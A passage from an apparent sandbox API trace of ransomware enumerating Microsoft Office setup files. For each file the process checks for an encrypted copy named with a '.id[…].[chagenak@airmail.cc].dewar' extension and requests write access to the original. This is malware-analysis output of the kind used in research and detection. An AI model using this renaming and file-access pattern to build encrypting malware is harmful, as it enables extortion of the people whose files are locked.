Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0235.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0235.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.795] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2296) returned 1 [0235.796] CloseHandle (hObject=0x1c0) returned 1 [0235.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0235.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0235.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.797] SetEvent (hEvent=0x118) returned 1 [0235.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.804] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1231) returned 1 [0235.804] CloseHandle (hObject=0x1c0) returned 1 [0235.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0235.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0235.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.805] SetEvent (hEvent=0x118) returned 1 [0235.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.809] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1852) returned 1 [0235.809] CloseHandle (hObject=0x1c0) returned 1 [0235.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0235.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0235.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.812] SetEvent (hEvent=0x118) returned 1 [0235.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0235.844] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=571320) returned 1 [0235.845] CloseHandle (hObject=0x1f0) returned 1 [0235.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0235.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0235.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.846] SetEvent (hEvent=0x118) returned 1 [0235.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.880] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=596341) returned 1 [0235.880] CloseHandle (hObject=0x1c0) returned 1 [0235.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0235.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0235.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.882] SetEvent (hEvent=0x118) returned 1 [0235.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0235.912] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=71236) returned 1 [0235.912] CloseHandle (hObject=0x1f0) returned 1 [0235.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0235.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0235.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.915] SetEvent (hEvent=0x118) returned 1 [0235.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0235.922] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5557) returned 1 [0235.922] CloseHandle (hObject=0x1f0) returned 1 [0235.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0235.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0235.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.923] SetEvent (hEvent=0x118) returned 1 [0235.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0235.937] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=819) returned 1 [0235.937] CloseHandle (hObject=0x1f0) returned 1 [0235.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0235.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0235.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.939] SetEvent (hEvent=0x118) returned 1 [0235.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0235.949] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=191872) returned 1 [0235.950] CloseHandle (hObject=0x1e0) returned 1 [0235.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0235.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0235.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0235.958] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15760) returned 1 [0235.958] CloseHandle (hObject=0x1f4) returned 1 [0235.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0235.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0235.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.598] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=37689) returned 1 [0236.598] CloseHandle (hObject=0x1e4) returned 1 [0236.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0236.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0236.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.604] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=27195) returned 1 [0236.604] CloseHandle (hObject=0x1e4) returned 1 [0236.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0236.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0236.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.634] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=67190) returned 1 [0236.634] CloseHandle (hObject=0x1e4) returned 1 [0236.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0236.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0236.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, 